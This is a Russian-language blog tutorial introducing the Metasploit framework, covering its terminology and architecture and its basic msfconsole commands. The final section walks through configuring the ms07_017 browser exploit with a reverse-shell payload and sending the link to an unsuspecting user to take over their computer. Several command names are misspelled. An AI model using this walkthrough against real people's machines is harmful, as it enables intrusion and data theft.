top of page

Что такое Metasploit? И что нужно знать о нем.


Давайте для начала начнем с того, что же такое этот Metasploit framework и разберемся немного с терминологией, чтоб было понятно что эти слова означают.

И поехали:

Metasploit framework- является полностью бесплатный framework созданный H. D. Moore в 2003 году, который в последствии был куплен Rapid7. Написан этот фреймфорк на языке Ruby. Metasploit обладает крупнейшими базами данных уязвимостей и принимает около миллиона загрузок каждый год. Он также является одним из самых сложных проектов на сегодняшний, написанных на языке Ruby. И сделан для того, чтоб быть в курсе о уязвимостях которые находятся в тех или иных программных обеспечения, чтоб сделать ваш продукт защищеннее чем он может быть.

Уязвимость (Vulnerability) – это слабое место, так сказать пята Ахилеса, которая позволяет злоумышленнику взламывать целевую систему. Уязвимость может существовать в операционных системах, программах, службах и т.д.

​​Эксплоит (Exploit) – это код с помощью которого злоумышленник может взломать систему, программу и т.п., у которой есть уязвимость. Каждое слабое место имеет свой собственный соответствующий эксплойт.

Payload – это код, который выполняется после эксплоита. В основном используется для настройки связи между жертвой и атакующим.

Давайте попробую показать на картинке для более подробного понимания этих слов.

И так, как мы видим стрелочку с названием Vulnerability, она показывает на уязвимость в холме (под холмом имеем введу ОС, DB и тд), куда может просочиться наш так называемый подготовленный набор скриптов Exploit, который спровоцирует взрыв в нашей системе (а именно доступ к ОС, изменение логики либо передачу данных пользователя удаленно). Ну а в конечном итоге выполним, после отработки злоскрипта, выполним следующий скрипт Payload, то-есть то, что мы хотим, чтоб в этой ОС, DB произошло по нашему. Надеюсь, я донес идею того как работает эта уязвимость.

А теперь перейдем к архитектурному виду нашего framework:

В Metasploit входят различные виды библиотек, которые играют большую роль в функционировании framework. Эти библиотеки представляют собой набор заранее определенных задач, операций и функций, которые могут быть использованы различными модулями системы. Самая фундаментальная часть framework написана на языке Ruby Extension (Rex). Некоторые компоненты Rex включают подсистему сокетов (wrapper socket subsystem), реализацию клиентских и серверных протоколов, регистрацию подсистемы (logging subsystem), exploitation utility classes, а также ряд других полезных классов.

Далее есть MSF Core библиотека, которая расширяет Rex. Core несет ответственность за выполнение всех необходимых интерфейсов (required interfaces), которые позволяют взаимодействовать с эксплоитами, модулями, сессиями и плагинами.

В Metasploit состоит из четырех так называемых пользовательских интерфейсов:

- msfconsole

- msfcli

- msfgui

- msfweb

Установка Metasploit доступна для всех Linux дистрибутивов , в Linux kaly он идет уже прям из коробки.

Скачайте Metasploit c офф сайта http://www.metasploit.com/download.

Перед тем как начать применять exploits и payloads на целевой машине, вы должны знать основы о них. Важно понять, как использовать эксплоиты, чтобы не допустить распространенные ошибки, которые могут возникнуть из-за неправильной конфигурации параметров.

Для того, чтобы начать использовать эксплоиты, нужно просканировать целевую машину допустим с помощью утилиты Nmap. О том как пользоваться ним можете прочесть другую мою статью, перейдя по ссылке. После того, как собрано достаточно информации о цели, след. шагом будет выбор подходящего эксплоита.

Давайте пробежимся по некоторым командам, которые применяются вместе с эксплоитами:

show payloads и show exploits – эти две команды показывают список доступных эксплоитов и payloads. например:

1 msf exploit(ms03_026_dcom) > show options

2 Module options (exploit/windows/dcerpc/ms03_026_dcom):

3 Name Current Setting Required Description

4 ---- --------------- -------- -----------

5 RHOST yes The target address

6 RPORT 135 yes The target port

search exploit – команда будет искать конкретный эксплоит, например

1 msf > search ms03_026_dcom

2 Matching Modules

3 ================

4 Name Disclosure Date Rank Description

5 ---- --------------- ---- -----------

6 exploit/windows/dcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC DCOM

use exploit – команда устанавливает эксплоит в активное состояние, т.е. им можно пользоваться. например:

1 msf > use exploit/windows/dcerpc/ms03_026_dcom

2 msf exploit(ms03_026_dcom) >

set – эта команда задает значения для параметров/опций в эксплоите, см. след. команду. например:

1 msf exploit(ms03_026_dcom) > set RHOST 102.168.56.102

2 RHOST =>102.168.56.102

3 msf exploit(ms03_026_dcom) >

show targets – каждый exploit создан для атаки на конкретную службу/сервис. Эта команда показывает, какие цели могут быть атакованы, например:

1 msf exploit(ms03_026_dcom) > show targets

2 Exploit targets:

3 Id Name

4 -- ----

5 0 Windows NT SP3-6a/2000/XP/2003 Universal

А теперь можем потренироваться с такой уязвимостью как ms07_017. Которая позволяеть снифферить все данные пользователя, который перешел по ссылке, которую дадим ему. Пример как это делать я показал в видео вверху статьи.

Для начала нам нужно найти ее полный путь поэтому выполним команду:

search ms07_017

Затем заюзать этот эксплоит командой:

use exploit/windows/brouser/ms07_017_ani_loadimage_chunksize

Смотрим информацию о данном эксплоите, что именно нам надо добавить для полноценного пользования. Пишем команду:

show option

Затем видим,что нам нужно задать payload, тоесть ОС на которую будет происходить атака. Для этого используем команду:

set Payload windows/shell/reverse_tsp

Видим также, что от нас требуется задать ip своего компа, по-этому пишем команду + свой айпи:

set LHOST 192.168.52.159

Можем теперь свой айпи кинуть какому-то пользователю и он перейдя на нее передаст нам полностью все свои данные, а так же откроет доступ к своему компьютеру, что дас там возможность даже создавать папки, читать файлы и тд.

И помните все показанное выше, сделано в целях обучения!!!

Можно применять только на своих проектах, после разрешения.


bottom of page